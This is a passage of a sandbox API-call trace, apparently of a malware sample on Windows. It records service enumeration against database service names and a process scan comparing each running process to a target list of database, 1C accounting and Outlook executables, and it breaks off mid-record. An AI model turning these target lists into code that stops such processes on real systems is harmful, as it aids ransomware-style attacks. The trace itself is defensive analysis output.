1 [0215.724] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0215.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0215.724] lstrlenW (lpString="eventlog") returned 8 [0215.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0215.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0215.724] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0215.724] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0215.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0215.725] lstrlenW (lpString="EventSystem") returned 11 [0215.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0215.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0215.725] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0215.725] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0215.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0215.725] lstrlenW (lpString="gpsvc") returned 5 [0215.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0215.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0215.727] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0215.727] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0215.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0215.727] lstrlenW (lpString="LanmanWorkstation") returned 17 [0215.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.727] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0215.727] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0215.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0215.727] lstrlenW (lpString="lmhosts") returned 7 [0215.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0215.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0215.728] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0215.729] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0215.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0215.730] lstrlenW (lpString="MMCSS") returned 5 [0215.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0215.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0215.730] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0215.730] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0215.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0215.730] lstrlenW (lpString="MpsSvc") returned 6 [0215.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0215.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0215.730] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0215.731] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0215.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0215.731] lstrlenW (lpString="nsi") returned 3 [0215.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0215.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0215.732] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0215.732] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0215.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0215.732] lstrlenW (lpString="PlugPlay") returned 8 [0215.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0215.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0215.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0215.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0215.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0215.733] lstrlenW (lpString="Power") returned 5 [0215.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0215.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0215.733] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0215.733] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0215.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0215.733] lstrlenW (lpString="ProfSvc") returned 7 [0215.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0215.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0215.735] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0215.735] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0215.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0215.735] lstrlenW (lpString="RpcEptMapper") returned 12 [0215.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.735] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0215.736] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0215.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0215.736] lstrlenW (lpString="RpcSs") returned 5 [0215.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0215.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0215.737] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0215.737] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0215.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0215.737] lstrlenW (lpString="SamSs") returned 5 [0215.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0215.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0215.737] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0215.737] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0215.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0215.737] lstrlenW (lpString="Schedule") returned 8 [0215.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0215.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0215.738] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0215.738] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0215.738] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0215.738] lstrlenW (lpString="SENS") returned 4 [0215.738] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0215.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0215.738] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0215.738] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0215.739] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0215.739] lstrlenW (lpString="ShellHWDetection") returned 16 [0215.739] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.739] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.739] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0215.740] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0215.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0215.740] lstrlenW (lpString="Spooler") returned 7 [0215.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0215.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0215.740] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0215.740] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0215.740] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0215.740] lstrlenW (lpString="Themes") returned 6 [0215.740] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0215.740] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0215.741] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0215.741] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0215.741] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0215.741] lstrlenW (lpString="UxSms") returned 5 [0215.741] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0215.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0215.742] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0215.742] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0215.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0215.742] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x423e070 | out: hHeap=0x880000) returned 1 [0215.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0215.983] Process32FirstW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.986] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.988] lstrlenW (lpString="System") returned 6 [0215.988] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0215.988] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0215.988] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0215.988] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0215.988] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0215.988] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0215.989] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0215.989] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.991] lstrlenW (lpString="smss.exe") returned 8 [0215.991] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0215.992] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0215.992] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0215.992] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0215.992] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0215.992] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0215.992] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0215.992] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.993] lstrlenW (lpString="csrss.exe") returned 9 [0215.994] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0215.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0215.994] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0215.994] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0215.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0215.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0215.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0215.994] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.996] lstrlenW (lpString="wininit.exe") returned 11 [0215.996] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0215.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0215.996] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0215.996] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0215.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0215.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0215.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0215.996] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.999] lstrlenW (lpString="csrss.exe") returned 9 [0215.999] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0215.999] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0215.999] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0215.999] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0215.999] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0215.999] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0215.999] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0215.999] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.001] lstrlenW (lpString="winlogon.exe") returned 12 [0216.002] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0216.002] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0216.002] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0216.002] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0216.002] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0216.002] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0216.002] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0216.002] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.003] lstrlenW (lpString="services.exe") returned 12 [0216.003] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0216.003] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0216.003] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0216.003] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0216.003] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0216.004] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0216.004] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0216.004] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.005] lstrlenW (lpString="lsass.exe") returned 9 [0216.005] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0216.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0216.006] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0216.006] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0216.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0216.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0216.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0216.006] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0216.009] lstrlenW (lpString="lsm.exe") returned 7 [0216.010] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0216.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0216.010] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0216.010] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0216.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0216.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0216.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0216.010] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.026] lstrlenW (lpString="svchost.exe") returned 11 [0216.026] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0216.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0216.026] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0216.026] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0216.027] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0216.027] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0216.027] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0216.027] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.028] lstrlenW (lpString="svchost.exe") returned 11 [0216.028] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0216.028] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0216.028] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0216.028] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0216.028] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0216.028] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0216.028] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0216.028] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.031] lstrlenW (lpString="svchost.exe") returned 11 [0216.031] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0216.031] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0216.031] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0216.031] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0216.031] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0216.032] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0216.032] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0216.032] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.033] lstrlenW (lpString="svchost.exe") returned 11 [0216.033] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0216.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0216.034] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0216.034] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0216.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0216.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0216.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0216.035] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.036] lstrlenW (lpString="svchost.exe") returned 11 [0216.036] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0216.379] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0216.380] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0216.380] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0216.380] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0216.380] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0216.380] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0216.380] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.382] lstrlenW (lpString="audiodg.exe") returned 11 [0216.382] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0216.382] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0216.382] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0216.383] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0216.383] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0216.383] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0216.383] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0216.383] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.386] lstrlenW (lpString="svchost.exe") returned 11 [0216.386] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0216.386] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0216.386] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0216.386] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0216.386] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0216.386] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0216.386] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0216.386] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0216.388] lstrlenW (lpString="userinit.exe") returned 12 [0216.388] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0216.388] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0216.388] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.390] lstrlenW (lpString="explorer.exe") returned 12 [0216.391] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.392] lstrlenW (lpString="dwm.exe") returned 7 [0216.392] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.393] lstrlenW (lpString="svchost.exe") returned 11 [0216.394] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, 